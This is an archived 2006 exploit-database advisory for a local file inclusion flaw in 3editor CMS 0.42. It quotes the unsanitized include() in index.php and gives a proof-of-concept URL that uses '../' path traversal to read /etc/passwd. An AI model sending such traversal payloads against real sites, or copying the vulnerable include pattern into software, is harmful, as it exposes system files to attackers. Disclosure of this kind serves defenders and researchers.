[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : 3editor CMS <= 0.42 (index.php) Local File Include Vulnerability
# Published : 2006-12-22
# Author : 3l3ctric-Cracker
# Previous Title : EternalMart Guestbook 1.10 (admin/auth.php) Remote Inclusion Vuln
# Next Title : Php/Mysql Site Builder 0.0.2 (htm2php.php) File Disclosure Vulnerability


************************************************************************     
*script Name: 3editor CMS (index.php) Local File Include Exploit       *
*Download:http://www.matteolucarelli.net/3editor/index.htm             *
*[Author      : Dr Max Virus                                           *
*[Contact     :drmaxvirus@w.cn                                         *
************************************************************************
*Bug & Problem                                                         *
*In file index.php Let's Take a look;                                  *
*if (!isset($_GET['page'])) include('phplib/treeedit.php');            *
*else include('phplib/'.$_GET['page']);                                *
************************************************************************
*As We can see the variable of page is not sanitized So attacker can   *
*apply his bug when:                                                   *
*register_globals=on                                                   *
************************************************************************
*POC Example:                                                          *
*http://[target]/[path]/index.php?page=../../../../../etc/passwd       *
************************************************************************
*Thx:str0ke -koray -ajann -Timq -r0ut3r -All my Friends                *
*special gr33ts:AsianEagle -The master -Kacper -Hotturk                *
************************************************************************

# www.Syue.com [2006-12-22]